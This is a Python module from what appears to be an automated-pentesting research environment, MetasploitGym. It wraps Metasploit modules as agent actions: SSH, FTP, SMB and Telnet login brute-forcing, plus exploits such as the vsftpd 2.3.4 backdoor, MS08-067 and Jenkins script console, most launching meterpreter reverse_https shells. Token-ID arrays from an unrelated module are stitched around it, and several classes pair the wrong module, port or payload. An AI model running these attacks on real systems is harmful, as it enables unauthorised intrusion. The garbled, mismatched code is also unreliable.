[ 1, 515, 2224, 1982, 1053, 10802, 13, 3166, 19229, 1053, 2391, 29892, 28379, 29892, 12603, 552, 13, 13, 3166, 623, 29889, 2754, 29889, 7299, 29889, 5509, 1053, 3414, 29918, 1853, 29918, 3166, 29918, 333, 13, 3166, 21242, 327, 29889, 3221, 29889, 1272, 29889, 1272, 1053, 3630, 10562, 16854, 29892, 10567, 1469, 13, 3166, 21242, 327, 29889, 3221, 29889, 19033, 29889, 20673, 1053, 9330, 29892, 9330, 9629, 29892, 19089, 29943, 487, 4384, 292, 9629, 13, 3166, 29784, 1053, 1857, 29918, 932, 13, 3166, 3667, 29879, 1053, 2060, 29918, 4632, 13, 13, 4381, 29918, 14538, 1691, 353, 426, 13, 1678, 525, 1557, 8253, 2396, 426, 13, 4706, 525, 14968, 2396, 525, 1557, 8253, 29914, 1557, 8253, 29918, 14968, 29889, 7638, 742, 13, 4706, 525, 1688, 2396, 525, 1557, 8253, 29914, 1557, 8253, 29918, 1688, 29889, 7638, 742, 13, 4706, 525, 1272, 29918, 1853, 2396, 3630, 10562, 16854, 29889, 2371, 13, 1678, 2981, 13, 1678, 525, 2527, 29877, 11956, 2396, 426, 13, 4706, 525, 14968, 2396, 525, 2527, 29877, 11956, 29914, 2527, 29877, 11956, 29918, 14968, 29889, 7638, 742, 13, 4706, 525, 1688, 2396, 525, 2527, 29877, 11956, 29914, 2527, 29877, 11956, 29918, 1688, 29889, 7638, 742, 13, 4706, 525, 1272, 29918, 1853, 2396, 3630, 10562, 16854, 29889, 1372, 13, 1678, 2981, 13, 1678, 525, 29877, 309, 2396, 426, 13, 4706, 525, 14968, 2396, 525, 29877, 309, 29914, 29877, 309, 29918, 14968, 29889, 7638, 742, 13, 4706, 525, 1688, 2396, 525, 29877, 309, 29914, 29877, 309, 29918, 1688, 29889, 7638, 742, 13, 4706, 525, 1272, 29918, 1853, 2396, 3630, 10562, 16854, 29889, 2371, 13, 1678, 500, 13, 29913, 13, 13, 1272, 29918, 8768, 353, 426, 13, 1678, 525, 1372, 2396, 3630, 10562, 16854, 29889, 1372, 29892, 13, 1678, 525, 2371, 2396, 3630, 10562, 16854, 29889, 2371, 29892, 13, 1678, 525, 3027, 2396, 3630, 10562, 16854, 29889, 3027, 29892, 13, 1678, 525, 726, 2396, 3630, 10562, 16854, 29889, 726, 29892, 13, 29913, 13, 13, 13, 1753, 679, 29918, 14538, 1691, 29918, 7039, 580, 1599, 2391, 29961, 710, 5387, 13, 1678, 736, 1051, 29898, 4381, 29918, 14538, 1691, 29897, 13, 13, 13, 1753, 679, 29918, 24713, 29918, 19635, 29898, 24713, 29918, 978, 29901, 851, 29892, 4559, 29918, 1853, 29901, 851, 29897, 1599, 12603, 552, 29961, 524, 29892, 938, 5387, 13, 1678, 848, 353, 679, 29918, 2080, 29918, 1272, 29898, 24713, 29918, 978, 29892, 4559, 29918, 1853, 29897, 13, 1678, 565, 848, 338, 6213, 29901, 13, 4706, 12020, 7865, 2392, 29898, 29888, 29915, 1469, 363, 8783, 29918, 978, 3790, 24713, 29918, 978, 29913, 411, 4559, 29918, 1853, 3790, 11249, 29918, 1853, 29913, 1818, 4864, 1495, 13, 1678, 565, 7431, 29898, 1272, 29889, 22100, 29889, 12181, 29897, 1405, 29871, 29896, 29901, 13, 4706, 302, 29918, 22100, 29892, 302, 29918, 5727, 353, 848, 29889, 22100, 29889, 12181, 29961, 29896, 1402, 848, 29889, 22100, 29889, 12181, 29961, 29900, 29962, 13, 1678, 1683, 29901, 13, 4706, 302, 29918, 22100, 29892, 302, 29918, 5727, 353, 29871, 29896, 29892, 7431, 29898, 1272, 29889, 22100, 29897, 13, 1678, 736, 302, 29918, 22100, 29892, 302, 29918, 5727, 13, 13, 13, 1753, 679, 29918, 2080, 29918, 1272, 29898, 24713, 29918, 978, 29901, 851, 29892, 4559, 29918, 1853, 29901, 851, 29892, 13, 462, 259, 3414, 29918, 1853, 29901, 28379, 29961, 710, 29962, 353, 6213, 29892, 13, 462, 259, 3414, 29918, 7529, 29901, 28379, 29961, 5398, 9629, 29962, 353, 6213, 29897, 1599, 28379, 29961, 4290, 1469, 5387, 13, 1678, 1018, 29901, 13, 4706, 8783, 353, 2322, 29918, 14538, 1691, 29961, 24713, 29918, 978, 29962, 13, 4706, 848, 29918, 2084, 353, 8783, 29961, 11249, 29918, 1853, 29962, 13, 13, 4706, 565, 3414, 29918, 7529, 338, 6213, 322, 3414, 29918, 1853, 1275, 525, 1372, 29918, 1079, 4384, 292, 2396, 13, 9651, 396, 29821, 579, 29918, 2848, 881, 367, 3342, 13, 9651, 3414, 29918, 7529, 353, 19089, 29943, 487, 4384, 292, 9629, 29898, 1079, 4384, 29918, 2848, 29922, 29941, 29900, 29897, 13, 13, 4706, 3414, 353, 9330, 29898, 7662, 29918, 1853, 29918, 3166, 29918, 333, 29898, 7662, 29918, 1853, 511, 3414, 29918, 7529, 29897, 565, 3414, 29918, 1853, 338, 451, 6213, 1683, 6213, 13, 13, 4706, 934, 29918, 2084, 353, 10802, 29898, 4836, 29918, 4632, 3285, 525, 1272, 742, 848, 29918, 2084, 29897, 13, 13, 4706, 565, 8783, 1839, 1272, 29918, 1853, 2033, 1275, 3630, 10562, 16854, 29889, 1372, 29901, 13, 9651, 848, 353, 10567, 1469, 29889, 3166, 29918, 7638, 29918, 2230, 29918, 13757, 29898, 1445, 29918, 2084, 29922, 1445, 29918, 2084, 29892, 3414, 29922, 7662, 29892, 3646, 29918, 4914, 2433, 5182, 1495, 13, 4706, 1683, 29901, 13, 9651, 848, 353, 10567, 1469, 29889, 3166, 29918, 7638, 29898, 1445, 29918, 2084, 29922, 1445, 29918, 2084, 29892, 3414, 29922, 7662, 29892, 848, 29918, 1853, 29922, 24713, 1839, 1272, 29918, 1853, 11287, 13, 4706, 736, 848, 13, 1678, 5174, 7670, 2392, 408, 429, 29901, 13, 4706, 1596, 29898, 29888, 29915, 16390, 24541, 426, 24713, 29918, 978, 29913, 756, 694, 848, 363, 426, 11249, 29918, 1853, 6177, 426, 735, 29913, 1495, 13, 1678, 736, 6213, 13, 2 ]
metasploit_gym/action/exploit.py
phreakAI/MetasploitGym
6
36283
<reponame>phreakAI/MetasploitGym """Exploits currently supported Straightforward to add more following the basic model presented here """ from .action import Exploit import time def wait_for_job_completion(job_info, client): if job_info is not None: if "error" in job_info: return job_is_running = True while job_is_running: job_id = job_info["uuid"] results = client.jobs.info_by_uuid(job_id) if "error" in results: return if results["status"] == "completed": job_is_running = False else: time.sleep(1) class SSH_Bruteforce(Exploit): """port 22 bruteforce https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssh/ssh_login.rb """ def __init__(self, target=(0, 0)): self.name = "SSH_Bruteforce" self.service = "ssh" self.target = target self.req_access = None self.req_os = None self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=22): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 22 :return: """ exploit = client.modules.use("auxiliary", "scanner/ssh/ssh_login") exploit["RHOSTS"] = host exploit["RPORT"] = port # TODO: This should be detected based on metasploit rpc server exploit["USERPASS_FILE"] = "/usr/share/metasploit-framework/data/wordlists" job_info = exploit.execute() wait_for_job_completion(job_info, client) class FTP_Bruteforce(Exploit): """port 23 bruteforce https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ftp/ftp_login.rb """ def __init__(self, target=(0, 0)): self.name = "FTP_Bruteforce" self.service = "ftp" self.target = target self.req_access = None self.req_os = None self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=23): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 23 :return: """ exploit = client.modules.use("auxiliary", "scanner/ftp/ftp_login") exploit["RHOSTS"] = host exploit["RPORT"] = port # TODO: This should be detected based on metasploit rpc server exploit["USERPASS_FILE"] = "/usr/share/metasploit-framework/data/wordlists" job_info = exploit.execute() wait_for_job_completion(job_info, client) class SMB_Bruteforce(Exploit): """ port 445 bruteforce https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/smb/smb_login.rb """ def __init__(self, target=(0, 0)): self.name = "SMB_Bruteforce" self.service = "Microsoft-DS" self.target = target self.req_access = None self.req_os = None self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=445): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 445 :return: """ exploit = client.modules.use("auxiliary", "scanner/smb/smb_login") exploit["RHOSTS"] = host exploit["RPORT"] = port exploit[ "USERPASS_FILE" ] = "/usr/share/metasploit-framework/data/wordlists" # TODO: This should be detected based on metasploit rpc server job_info = exploit.execute() wait_for_job_completion(job_info, client) class Telnet_Bruteforce(Exploit): """port 23 bruteforce https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/telnet/telnet_login.rb """ def __init__(self, target=(0, 0)): self.name = "Telnet_Bruteforce" self.service = "telnet" self.target = target self.req_access = None self.req_os = None self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=445): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 445 :return: """ exploit = client.modules.use("auxiliary", "scanner/telnet/telnet_login") exploit["RHOSTS"] = host exploit["RPORT"] = port exploit[ "USERPASS_FILE" ] = "/usr/share/metasploit-framework/data/wordlists" # TODO: This should be detected based on metasploit rpc server job_info = exploit.execute() wait_for_job_completion(job_info, client) class VSFTPD(Exploit): """use exploit/unix/ftp/vsftpd_234_backdoor https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb Args: Exploit ([type]): vsftpd 2.3.4 port 21 Raises: NotImplementedError: [description] """ def __init__(self, target=(0, 0)): self.name = "VSFTPD" self.service = "ftp" self.target = target self.req_access = None self.req_os = "unix" self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=21): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 21 :return: """ exploit = client.modules.use("exploit", "unix/ftp/vsftpd_234_backdoor") exploit["RHOSTS"] = host exploit["RPORT"] = port job_info = exploit.execute(payload="cmd/unix/interact") wait_for_job_completion(job_info, client) class JavaRMIServer(Exploit): """[summary] https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/exploits/multi/misc/java_rmi_server.rb Args: Exploit ([type]): [description] """ def __init__(self, target=(0, 0)): self.name = "Java_RMI_Server" self.service = "http" self.target = target self.req_access = None self.req_os = None self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=1099): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 21 :return: """ exploit = client.modules.use("exploit", "multi/misc/java_rmi_server") exploit["RHOSTS"] = host exploit["RPORT"] = port exploit.execute(cmd="java/meterpreter/reverse_https") class Ms08_067_Netapi(Exploit): """https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms08_067_netapi.rb Classic smb exploitation through crafted rpc packet. Works great on windows xp. Args: Exploit ([type]): [description] """ def __init__(self, target=(0, 0)): self.name = "ms08_067_netapi" self.service = "Microsoft-DS" self.target = target self.req_access = None self.req_os = "win" self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=445): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 21 :return: """ exploit = client.modules.use("exploit", "windows/smb/ms08_067_netapi") exploit["RHOSTS"] = host exploit["RPORT"] = port job_info = exploit.execute(cmd="windows/meterpreter/reverse_https") wait_for_job_completion(job_info, client) class ManageEngine_Auth_Upload(Exploit): """https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/manageengine_auth_upload.rb Http upload that allows remote code execution on ManageEngine ServiceDesk TODO: Find a vulnerable copy of this for building environments. oy vey. Args: Exploit ([type]): [description] """ def __init__(self, target=(0, 0)): self.name = "ManageEngine_Auth_Upload" self.service = "http" self.target = target self.req_access = None self.req_os = None self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=8080): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 21 :return: """ exploit = client.modules.use("exploit", "multi/http/manageengine_auth_upload") exploit["RHOSTS"] = host exploit["RPORT"] = port job_info = exploit.execute(cmd="java/meterpreter/reverse_https") wait_for_job_completion(job_info, client) class ApacheJamesExecution(Exploit): """https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/smtp/apache_james_exec.rb 'Name' => "Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write" Args: Exploit ([type]): [description] """ def __init__(self, target=(0, 0)): self.name = "Apache_James_InsecureUserCreation" self.service = "smpt" self.target = target self.req_access = None self.req_os = "linux" self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=8080): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 21 :return: """ exploit = client.modules.use("exploit", "multi/http/manageengine_auth_upload") exploit["RHOSTS"] = host exploit["RPORT"] = port job_info = exploit.execute(cmd="java/meterpreter/reverse_https") wait_for_job_completion(job_info, client) class SambaUsermapScript(Exploit): """https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/samba/usermap_script.rb 'Name' => "Samba "username map script" Command Execution" Args: Exploit ([type]): [description] """ def __init__(self, target=(0, 0)): self.name = "Samba_Usermap_Script" self.target = target self.service = "NetBIOS-SSN" self.req_access = None self.req_os = "multi" self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=139): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 139 :return: """ exploit = client.modules.use("exploit", "multi/samba/usermap_script") exploit["RHOSTS"] = host exploit["RPORT"] = port job_info = exploit.execute(cmd="java/meterpreter/reverse_https") wait_for_job_completion(job_info, client) class ApacheTomcatAuthenticationCodeExecution(Exploit): """https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/tomcat_mgr_deploy.rb 'Name' => "Apache Tomcat Manager Application Deployer Authenticated Code Execution" Args: Exploit ([type]): [description] """ def __init__(self, target=(0, 0)): self.name = "Apache_Tomcat_Execution" self.target = target self.service = "http" self.req_access = None self.req_os = "multi" self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=8080): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port None :return: """ exploit = client.modules.use("exploit", "multi/http/tomcat_mgr_deploy") exploit["RHOSTS"] = host exploit["RPORT"] = port job_info = exploit.execute(cmd="java/meterpreter/reverse_https") wait_for_job_completion(job_info, client) class Jenkins_CI_Script_Java_Execution(Exploit): """https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/jenkins_script_console.rb 'Name' => "Jenkins-CI Script-Console Java Execution" Args: Exploit ([type]): [description] """ def __init__(self, target=(0, 0)): self.name = "Jenkins_CI_Script_Console_Java_Execution" self.service = "http" self.target = target self.req_access = None self.req_os = "multi" self.req_version = None super(Exploit, self).__init__( self.name, self.target, self.req_access, self.req_os, self.req_version ) def execute(self, client, host, port=8080): """ :param client: metasploit client object :param host: string representing IP of the target :param port: default port 8080 :return: """ exploit = client.modules.use("exploit", "multi/http/jenkins_script_console") exploit["RHOSTS"] = host exploit["RPORT"] = port job_info = exploit.execute(cmd="java/meterpreter/reverse_https") wait_for_job_completion(job_info, client)
[ 1, 529, 276, 1112, 420, 29958, 561, 276, 557, 23869, 29914, 10095, 4692, 417, 277, 29954, 962, 13, 15945, 29908, 9544, 417, 1169, 5279, 6969, 13, 259, 7357, 523, 11333, 304, 788, 901, 1494, 278, 6996, 1904, 9132, 1244, 13, 15945, 29908, 13, 3166, 869, 2467, 1053, 12027, 417, 277, 13, 5215, 931, 13, 13, 13, 1753, 4480, 29918, 1454, 29918, 9057, 29918, 5729, 12757, 29898, 9057, 29918, 3888, 29892, 3132, 1125, 13, 1678, 565, 4982, 29918, 3888, 338, 451, 6213, 29901, 13, 4706, 565, 376, 2704, 29908, 297, 4982, 29918, 3888, 29901, 13, 9651, 736, 13, 4706, 4982, 29918, 275, 29918, 21094, 353, 5852, 13, 4706, 1550, 4982, 29918, 275, 29918, 21094, 29901, 13, 9651, 4982, 29918, 333, 353, 4982, 29918, 3888, 3366, 25118, 3108, 13, 9651, 2582, 353, 3132, 29889, 9057, 29879, 29889, 3888, 29918, 1609, 29918, 25118, 29898, 9057, 29918, 333, 29897, 13, 9651, 565, 376, 2704, 29908, 297, 2582, 29901, 13, 18884, 736, 13, 9651, 565, 2582, 3366, 4882, 3108, 1275, 376, 5729, 9446, 1115, 13, 18884, 4982, 29918, 275, 29918, 21094, 353, 7700, 13, 9651, 1683, 29901, 13, 18884, 931, 29889, 17059, 29898, 29896, 29897, 13, 13, 13, 1990, 22343, 29918, 12432, 1082, 10118, 29898, 9544, 417, 277, 1125, 13, 1678, 9995, 637, 29871, 29906, 29906, 1506, 1082, 10118, 13, 1678, 2045, 597, 3292, 29889, 510, 29914, 2390, 333, 29955, 29914, 2527, 4692, 417, 277, 29899, 4468, 29914, 10054, 29914, 6207, 29914, 7576, 29914, 2993, 2638, 653, 29914, 1557, 7310, 29914, 15269, 29914, 15269, 29918, 7507, 29889, 6050, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3646, 7607, 29900, 29892, 29871, 29900, 22164, 13, 4706, 1583, 29889, 978, 353, 376, 1799, 29950, 29918, 12432, 1082, 10118, 29908, 13, 4706, 1583, 29889, 5509, 353, 376, 15269, 29908, 13, 4706, 1583, 29889, 5182, 353, 3646, 13, 4706, 1583, 29889, 7971, 29918, 5943, 353, 6213, 13, 4706, 1583, 29889, 7971, 29918, 359, 353, 6213, 13, 4706, 1583, 29889, 7971, 29918, 3259, 353, 6213, 13, 4706, 2428, 29898, 9544, 417, 277, 29892, 1583, 467, 1649, 2344, 12035, 13, 9651, 1583, 29889, 978, 29892, 1583, 29889, 5182, 29892, 1583, 29889, 7971, 29918, 5943, 29892, 1583, 29889, 7971, 29918, 359, 29892, 1583, 29889, 7971, 29918, 3259, 13, 4706, 1723, 13, 13, 1678, 822, 6222, 29898, 1311, 29892, 3132, 29892, 3495, 29892, 2011, 29922, 29906, 29906, 1125, 13, 4706, 9995, 13, 4706, 584, 3207, 3132, 29901, 1539, 4692, 417, 277, 3132, 1203, 13, 4706, 584, 3207, 3495, 29901, 1347, 15783, 5641, 310, 278, 3646, 13, 4706, 584, 3207, 2011, 29901, 2322, 2011, 29871, 29906, 29906, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 16035, 277, 353, 3132, 29889, 7576, 29889, 1509, 703, 2993, 2638, 653, 613, 376, 1557, 7310, 29914, 15269, 29914, 15269, 29918, 7507, 1159, 13, 4706, 16035, 277, 3366, 29934, 20832, 29903, 3108, 353, 3495, 13, 4706, 16035, 277, 3366, 29934, 15082, 3108, 353, 2011, 13, 4706, 396, 14402, 29901, 910, 881, 367, 17809, 2729, 373, 1539, 4692, 417, 277, 364, 6739, 1923, 13, 4706, 16035, 277, 3366, 11889, 25711, 29918, 7724, 3108, 353, 5591, 4855, 29914, 13653, 29914, 2527, 4692, 417, 277, 29899, 4468, 29914, 1272, 29914, 1742, 21513, 29908, 13, 4706, 4982, 29918, 3888, 353, 16035, 277, 29889, 7978, 580, 13, 4706, 4480, 29918, 1454, 29918, 9057, 29918, 5729, 12757, 29898, 9057, 29918, 3888, 29892, 3132, 29897, 13, 13, 13, 1990, 383, 3557, 29918, 12432, 1082, 10118, 29898, 9544, 417, 277, 1125, 13, 1678, 9995, 637, 29871, 29906, 29941, 1506, 1082, 10118, 13, 1678, 2045, 597, 3292, 29889, 510, 29914, 2390, 333, 29955, 29914, 2527, 4692, 417, 277, 29899, 4468, 29914, 10054, 29914, 6207, 29914, 7576, 29914, 2993, 2638, 653, 29914, 1557, 7310, 29914, 23102, 29914, 23102, 29918, 7507, 29889, 6050, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3646, 7607, 29900, 29892, 29871, 29900, 22164, 13, 4706, 1583, 29889, 978, 353, 376, 29943, 3557, 29918, 12432, 1082, 10118, 29908, 13, 4706, 1583, 29889, 5509, 353, 376, 23102, 29908, 13, 4706, 1583, 29889, 5182, 353, 3646, 13, 4706, 1583, 29889, 7971, 29918, 5943, 353, 6213, 13, 4706, 1583, 29889, 7971, 29918, 359, 353, 6213, 13, 4706, 1583, 29889, 7971, 29918, 3259, 353, 6213, 13, 4706, 2428, 29898, 9544, 417, 277, 29892, 1583, 467, 1649, 2344, 12035, 13, 9651, 1583, 29889, 978, 29892, 1583, 29889, 5182, 29892, 1583, 29889, 7971, 29918, 5943, 29892, 1583, 29889, 7971, 29918, 359, 29892, 1583, 29889, 7971, 29918, 3259, 13, 4706, 1723, 13, 13, 1678, 822, 6222, 29898, 1311, 29892, 3132, 29892, 3495, 29892, 2011, 29922, 29906, 29941, 1125, 13, 4706, 9995, 13, 4706, 584, 3207, 3132, 29901, 1539, 4692, 417, 277, 3132, 1203, 13, 4706, 584, 3207, 3495, 29901, 1347, 15783, 5641, 310, 278, 3646, 13, 4706, 584, 3207, 2011, 29901, 2322, 2011, 29871, 29906, 29941, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 16035, 277, 353, 3132, 29889, 7576, 29889, 1509, 703, 2993, 2638, 653, 613, 376, 1557, 7310, 29914, 23102, 29914, 23102, 29918, 7507, 1159, 13, 4706, 16035, 277, 3366, 29934, 20832, 29903, 3108, 353, 3495, 13, 4706, 16035, 277, 3366, 29934, 15082, 3108, 353, 2011, 13, 4706, 396, 14402, 29901, 910, 881, 367, 17809, 2729, 373, 1539, 4692, 417, 277, 364, 6739, 1923, 13, 4706, 16035, 277, 3366, 11889, 25711, 29918, 7724, 3108, 353, 5591, 4855, 29914, 13653, 29914, 2527, 4692, 417, 277, 29899, 4468, 29914, 1272, 29914, 1742, 21513, 29908, 13, 4706, 4982, 29918, 3888, 353, 16035, 277, 29889, 7978, 580, 13, 4706, 4480, 29918, 1454, 29918, 9057, 29918, 5729, 12757, 29898, 9057, 29918, 3888, 29892, 3132, 29897, 13, 13, 13, 1990, 317, 9486, 29918, 12432, 1082, 10118, 29898, 9544, 417, 277, 1125, 13, 1678, 9995, 13, 1678, 2011, 29871, 29946, 29946, 29945, 1506, 1082, 10118, 13, 1678, 2045, 597, 3292, 29889, 510, 29914, 2390, 333, 29955, 29914, 2527, 4692, 417, 277, 29899, 4468, 29914, 10054, 29914, 6207, 29914, 7576, 29914, 2993, 2638, 653, 29914, 1557, 7310, 29914, 3844, 29890, 29914, 3844, 29890, 29918, 7507, 29889, 6050, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3646, 7607, 29900, 29892, 29871, 29900, 22164, 13, 4706, 1583, 29889, 978, 353, 376, 29903, 9486, 29918, 12432, 1082, 10118, 29908, 13, 4706, 1583, 29889, 5509, 353, 376, 11277, 29899, 8452, 29908, 13, 4706, 1583, 29889, 5182, 353, 3646, 13, 4706, 1583, 29889, 7971, 29918, 5943, 353, 6213, 13, 4706, 1583, 29889, 7971, 29918, 359, 353, 6213, 13, 4706, 1583, 29889, 7971, 29918, 3259, 353, 6213, 13, 4706, 2428, 29898, 9544, 417, 277, 29892, 1583, 467, 1649, 2344, 12035, 13, 9651, 1583, 29889, 978, 29892, 1583, 29889, 5182, 29892, 1583, 29889, 7971, 29918, 5943, 29892, 1583, 29889, 7971, 29918, 359, 29892, 1583, 29889, 7971, 29918, 3259, 13, 4706, 1723, 13, 13, 1678, 822, 6222, 29898, 1311, 29892, 3132, 29892, 3495, 29892, 2011, 29922, 29946, 29946, 29945, 1125, 13, 4706, 9995, 13, 4706, 584, 3207, 3132, 29901, 1539, 4692, 417, 277, 3132, 1203, 13, 4706, 584, 3207, 3495, 29901, 1347, 15783, 5641, 310, 278, 3646, 13, 4706, 584, 3207, 2011, 29901, 2322, 2011, 29871, 29946, 29946, 29945, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 16035, 277, 353, 3132, 29889, 7576, 29889, 1509, 703, 2993, 2638, 653, 613, 376, 1557, 7310, 29914, 3844, 29890, 29914, 3844, 29890, 29918, 7507, 1159, 13, 4706, 16035, 277, 3366, 29934, 20832, 29903, 3108, 353, 3495, 13, 4706, 16035, 277, 3366, 29934, 15082, 3108, 353, 2011, 13, 4706, 16035, 277, 29961, 13, 9651, 376, 11889, 25711, 29918, 7724, 29908, 13, 4706, 4514, 353, 5591, 4855, 29914, 13653, 29914, 2527, 4692, 417, 277, 29899, 4468, 29914, 1272, 29914, 1742, 21513, 29908, 29871, 396, 14402, 29901, 910, 881, 367, 17809, 2729, 373, 1539, 4692, 417, 277, 364, 6739, 1923, 13, 4706, 4982, 29918, 3888, 353, 16035, 277, 29889, 7978, 580, 13, 4706, 4480, 29918, 1454, 29918, 9057, 29918, 5729, 12757, 29898, 9057, 29918, 3888, 29892, 3132, 29897, 13, 13, 13, 1990, 18815, 1212, 29918, 12432, 1082, 10118, 29898, 9544, 417, 277, 1125, 13, 1678, 9995, 637, 29871, 29906, 29941, 1506, 1082, 10118, 13, 1678, 2045, 597, 3292, 29889, 510, 29914, 2390, 333, 29955, 29914, 2527, 4692, 417, 277, 29899, 4468, 29914, 10054, 29914, 6207, 29914, 7576, 29914, 2993, 2638, 653, 29914, 1557, 7310, 29914, 28497, 1212, 29914, 28497, 1212, 29918, 7507, 29889, 6050, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3646, 7607, 29900, 29892, 29871, 29900, 22164, 13, 4706, 1583, 29889, 978, 353, 376, 29911, 295, 1212, 29918, 12432, 1082, 10118, 29908, 13, 4706, 1583, 29889, 5509, 353, 376, 28497, 1212, 29908, 13, 4706, 1583, 29889, 5182, 353, 3646, 13, 4706, 1583, 29889, 7971, 29918, 5943, 353, 6213, 13, 4706, 1583, 29889, 7971, 29918, 359, 353, 6213, 13, 4706, 1583, 29889, 7971, 29918, 3259, 353, 6213, 13, 4706, 2428, 29898, 9544, 417, 277, 29892, 1583, 467, 1649, 2344, 12035, 13, 9651, 1583, 29889, 978, 29892, 1583, 29889, 5182, 29892, 1583, 29889, 7971, 29918, 5943, 29892, 1583, 29889, 7971, 29918, 359, 29892, 1583, 29889, 7971, 29918, 3259, 13, 4706, 1723, 13, 13, 1678, 822, 6222, 29898, 1311, 29892, 3132, 29892, 3495, 29892, 2011, 29922, 29946, 29946, 29945, 1125, 13, 4706, 9995, 13, 4706, 584, 3207, 3132, 29901, 1539, 4692, 417, 277, 3132, 1203, 13, 4706, 584, 3207, 3495, 29901, 1347, 15783, 5641, 310, 278, 3646, 13, 4706, 584, 3207, 2011, 29901, 2322, 2011, 29871, 29946, 29946, 29945, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 16035, 277, 353, 3132, 29889, 7576, 29889, 1509, 703, 2993, 2638, 653, 613, 376, 1557, 7310, 29914, 28497, 1212, 29914, 28497, 1212, 29918, 7507, 1159, 13, 4706, 16035, 277, 3366, 29934, 20832, 29903, 3108, 353, 3495, 13, 4706, 16035, 277, 3366, 29934, 15082, 3108, 353, 2011, 13, 4706, 16035, 277, 29961, 13, 9651, 376, 11889, 25711, 29918, 7724, 29908, 13, 4706, 4514, 353, 5591, 4855, 29914, 13653, 29914, 2527, 4692, 417, 277, 29899, 4468, 29914, 1272, 29914, 1742, 21513, 29908, 29871, 396, 14402, 29901, 910, 881, 367, 17809, 2729, 373, 1539, 4692, 417, 277, 364, 6739, 1923, 13, 4706, 4982, 29918, 3888, 353, 16035, 277, 29889, 7978, 580, 13, 4706, 4480, 29918, 1454, 29918, 9057, 29918, 5729, 12757, 29898, 9057, 29918, 3888, 29892, 3132, 29897, 13, 13, 13, 1990, 12221, 29943, 3557, 29928, 29898, 9544, 417, 277, 1125, 13, 1678, 9995, 1509, 16035, 277, 29914, 24538, 29914, 23102, 29914, 4270, 615, 15926, 29918, 29906, 29941, 29946, 29918, 1627, 17433, 13, 1678, 2045, 597, 3292, 29889, 510, 29914, 2390, 333, 29955, 29914, 2527, 4692, 417, 277, 29899, 4468, 29914, 10054, 29914, 6207, 29914, 7576, 29914, 4548, 417, 1169, 29914, 24538, 29914, 23102, 29914, 4270, 615, 15926, 29918, 29906, 29941, 29946, 29918, 1627, 17433, 29889, 6050, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 12027, 417, 277, 9310, 1853, 29962, 1125, 7186, 615, 15926, 29871, 29906, 29889, 29941, 29889, 29946, 2011, 29871, 29906, 29896, 13, 13, 1678, 390, 1759, 267, 29901, 13, 4706, 2216, 1888, 2037, 287, 2392, 29901, 518, 8216, 29962, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3646, 7607, 29900, 29892, 29871, 29900, 22164, 13, 4706, 1583, 29889, 978, 353, 376, 29963, 20322, 3557, 29928, 29908, 13, 4706, 1583, 29889, 5509, 353, 376, 23102, 29908, 13, 4706, 1583, 29889, 5182, 353, 3646, 13, 4706, 1583, 29889, 7971, 29918, 5943, 353, 6213, 13, 4706, 1583, 29889, 7971, 29918, 359, 353, 376, 24538, 29908, 13, 4706, 1583, 29889, 7971, 29918, 3259, 353, 6213, 13, 4706, 2428, 29898, 9544, 417, 277, 29892, 1583, 467, 1649, 2344, 12035, 